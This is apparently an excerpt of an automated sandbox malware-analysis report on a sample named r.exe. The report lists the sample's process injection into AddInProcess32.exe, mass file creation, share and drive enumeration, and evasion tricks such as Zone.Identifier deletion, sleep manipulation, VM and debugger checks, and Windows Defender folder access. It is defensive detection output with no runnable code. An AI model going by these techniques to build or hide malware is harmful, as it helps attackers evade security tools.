                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{213668DB-2263-4E2D-ABB8-487FD539130E}v14.21.27702\packages\vcRuntimeAdditional_x86\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{213668DB-2263-4E2D-ABB8-487FD539130E}v14.21.27702\packages\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{213668DB-2263-4E2D-ABB8-487FD539130E}v14.21.27702\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\packages\vcRuntimeAdditional_amd64\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\packages\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\packages\vcRuntimeAdditional_amd64\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\packages\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\packages\vcRuntimeMinimum_amd64\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\packages\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\packages\vcRuntimeAdditional_x86\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\packages\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Package Cache\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\ReadMe.txtJump to behavior

                      Hooking and other Techniques for Hiding and Protection

                      barindex
                      Hides that the sample has been downloaded from the Internet (zone.identifier)
                      Source: C:\Users\user\Desktop\r.exeFile opened: C:\Users\user\Desktop\r.exe\:Zone.Identifier read attributes | deleteJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                      Malware Analysis System Evasion

                      barindex
                      Contains functionality to detect sleep reduction / modifications
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_00406B301_2_00406B30
                      Source: C:\Users\user\Desktop\r.exe TID: 4976Thread sleep time: -1844674407370954s >= -30000sJump to behavior
                      Source: C:\Users\user\Desktop\r.exe TID: 160Thread sleep time: -58000s >= -30000sJump to behavior
                      Source: C:\Users\user\Desktop\r.exe TID: 5188Thread sleep time: -922337203685477s >= -30000sJump to behavior
                      Source: C:\Users\user\Desktop\r.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Users\user\Desktop\r.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_00406B301_2_00406B30
                      Source: C:\Users\user\Desktop\r.exeProcess information queried: ProcessInformationJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_00407540 WNetOpenEnumW,WNetEnumResourceW,lstrcmpiW,WNetAddConnection2W,lstrcpyW,lstrcatW,FindFirstFileW,lstrcmpiW,wsprintfW,StrStrIW,lstrcmpW,lstrlenW,lstrcpyW,WaitForSingleObject,EnterCriticalSection,LeaveCriticalSection,ReleaseSemaphore,FindNextFileW,FindClose,wsprintfW,CreateFileW,lstrlenA,WriteFile,CloseHandle,WNetEnumResourceW,WNetCloseEnum,1_2_00407540
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_00407320 lstrcmpiW,lstrcpyW,lstrcatW,FindFirstFileW,lstrcmpiW,lstrcmpiW,wsprintfW,StrStrIW,lstrcmpW,lstrlenW,lstrcpyW,WaitForSingleObject,EnterCriticalSection,LeaveCriticalSection,ReleaseSemaphore,FindNextFileW,FindClose,wsprintfW,CreateFileW,lstrlenA,WriteFile,FindCloseChangeNotification,1_2_00407320
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_0040B5B2 FindFirstFileExW,1_2_0040B5B2
                      Source: C:\Users\user\Desktop\r.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Users\user\Desktop\r.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Definition Updates\Default\Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Definition Updates\Backup\Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Definition Updates\Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Clean Store\Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Definition Updates\NisBackup\Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Jump to behavior
                      Source: r.exe, 00000000.00000002.487039298.000000000429D000.00000004.00000800.00020000.00000000.sdmp, r.exe, 00000000.00000002.487039298.0000000004336000.00000004.00000800.00020000.00000000.sdmp, r.exe, 00000000.00000002.495810810.0000000007F30000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: VBoxTray
                      Source: r.exe, 00000000.00000002.476902516.0000000001512000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll4
                      Source: r.exe, 00000000.00000002.495810810.0000000007F30000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: 202716679GSOFTWARE\VMware, Inc.\VMware VGAuth
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_00408073 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_00408073
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_00406B30 GetDriveTypeW,FindFirstVolumeW,GetVolumePathNamesForVolumeNameW,lstrlenW,SetVolumeMountPointWStub,FindNextVolumeW,FindVolumeClose,GetTickCount,Sleep,GetTickCount,Sleep,wsprintfA,CryptAcquireContextA,CryptGenRandom,CreateSemaphoreW,CreateSemaphoreW,CreateSemaphoreW,InitializeCriticalSection,CreateThread,SetThreadPriority,SetThreadPriority,CreateThread,SetThreadPriority,GetLogicalDrives,WaitForMultipleObjects,CloseHandle,WaitForMultipleObjects,CloseHandle,wsprintfW,GetDriveTypeW,WNetGetConnectionW,CreateThread,SetThreadPriority,WaitForMultipleObjects,WaitForMultipleObjects,CloseHandle,Sleep,Sleep,DeleteCriticalSection,CloseHandle,CloseHandle,CryptReleaseContext,CoCreateInstance,CoCreateInstance,GetModuleHandleA,GetProcAddress,VariantClear,GetCurrentProcess,VariantInit,VariantClear,CoCreateInstance,CoSetProxyBlanket,GetProcessHeap,lstrlenW,GetProcessHeap,HeapAlloc,lstrlenW,wnsprintfW,GetProcessHeap,HeapFree,VariantClear,VariantClear,1_2_00406B30
                      Source: C:\Users\user\Desktop\r.exeProcess token adjusted: DebugJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_0040C6DB mov eax, dword ptr fs:[00000030h]1_2_0040C6DB
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_00409F46 mov eax, dword ptr fs:[00000030h]1_2_00409F46
                      Source: C:\Users\user\Desktop\r.exeMemory allocated: page read and write | page guardJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_00408206 SetUnhandledExceptionFilter,1_2_00408206
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_00408073 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_00408073
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_0040A94A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_0040A94A
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_0040799B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,1_2_0040799B

                      HIPS / PFW / Operating System Protection Evasion

                      barindex
                      Writes to foreign memory regions
                      Source: C:\Users\user\Desktop\r.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000Jump to behavior
                      Source: C:\Users\user\Desktop\r.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 401000Jump to behavior
                      Source: C:\Users\user\Desktop\r.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 413000Jump to behavior
                      Source: C:\Users\user\Desktop\r.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 41A000Jump to behavior
                      Source: C:\Users\user\Desktop\r.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 41C000Jump to behavior
                      Source: C:\Users\user\Desktop\r.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 33C008Jump to behavior
                      Injects a PE file into a foreign processes
                      Source: C:\Users\user\Desktop\r.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5AJump to behavior
                      Source: C:\Users\user\Desktop\r.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeJump to behavior
                      Source: Data1.cab.1.drBinary or memory string: gHExitMaximize&Click to activateShell_TrayWndTrayNotifyWndp
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Users\user\Desktop\r.exe VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\comic.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\comici.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\consola.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\constan.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\constani.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\cour.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\couri.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\framd.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformationJump to behavior
